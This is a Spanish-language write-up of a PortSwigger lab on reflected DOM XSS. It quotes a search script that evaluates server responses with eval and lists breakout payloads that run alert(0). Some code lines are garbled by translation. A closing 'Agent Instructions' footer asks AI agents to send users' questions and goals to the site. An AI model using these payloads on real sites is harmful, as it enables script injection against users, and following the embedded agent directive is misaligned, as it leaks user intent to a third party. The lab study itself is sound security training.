> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-dom-xss.md).
# XSS DOM reflejado
Notas de XSS DOM reflejado para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### XSS reflejado de DOM
Este laboratorio muestra una vulnerabilidad de DOM ingeniosa. Los datos enviados en la consulta son devueltos por el servidor; luego, un script del lado del cliente los trata de forma peligrosa y los escribe en un `eval`, abriendo la puerta a la ejecución de código.
El cliente realiza una solicitud AJAX a `path + window.location.search`. Cuando llega la respuesta, el código es:
```javascript
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
var searchResults = searchResultsObj.results
var h1 = document.createElement("h1");
h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
blogHeader.appendChild(h1);
var hr = document.createElement("hr");
blogHeader.appendChild(hr)
for (var i = 0; i < searchResults.length; ++i)
{
var searchResult = searchResults[i];
if (searchResult.id) {
var blogLink = document.createElement("a");
blogLink.setAttribute("href", "/post?postId=" + searchResult.id);
if (searchResult.headerImage) {
var headerImage = document.createElement("img");
headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
blogLink.appendChild(headerImage);
}
blogList.appendChild(blogLink);
}
blogList.innerHTML += " ";
if (searchResult.title) {
var title = document.createElement("h2");
title.innerText = searchResult.title;
blogList.appendChild(title);
}
if (searchResult.summary) {
var summary = document.createElement("p");
summary.innerText = searchResult.summary;
blogList.appendChild(summary);
}
if (searchResult.id) {
var viewPostButton = document.createElement("a");
viewPostButton.setAttribute("class", "button is-small");
viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
Ver publicación
}
}
var linkback = document.createElement("div");
linkback.setAttribute("class", "is-linkback");
var backToBlog = document.createElement("a");
backToBlog.setAttribute("href", "/");
Volver al blog
linkback.appendChild(backToBlog);
blogList.appendChild(linkback);
}
}
```
El `displaySearchResults` la función se ejecuta `searchResultsObj` y crea dinámicamente elementos (h1, h2, p, a, img, etc.), asignando `innerText` para títulos y resúmenes, pero importante `searchResultsObj` mediante `eval`.
```javascript
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
```
El uso de `eval('var searchResultsObj = ' + this.responseText)` es crítico: si la respuesta controlada contiene texto con una forma especial, es posible romper la sintaxis esperada e inyectar el código JavaScript que se ejecutará durante la evaluación.
* Devuelve (o intercepta) `responseText` que contenga el valor atacante para `searchTerm` o un campo similar.
* Elimínalo de la cadena/literal JSON esperado cerrando la estructura y añadiendo código ejecutable; luego neutraliza el resto con un comentario (`//`) para evitar errores de sintaxis posteriores.
#### Ejemplos de cargas útiles probadas
(Estas cadenas están destinadas a colocarse en la parte de la respuesta reflejada — muestran cómo salir de la estructura y ejecutar `alert(0)`)
```javascript
hello/"jordan
hello/"jordan}//
```
Al inyectar una de las cadenas anteriores en la parte reflejada de la respuesta, el `eval` interpretará la construcción modificada y ejecutará `alert(0)`, demostrando la ejecución de código del lado del cliente mediante XSS reflejado de DOM.
```javascript
hello/"*alert(0)}//
```
```javascript
hello/"+alert(0)}//
```
```javascript
hello/"-alert(0)}//
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-dom-xss.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
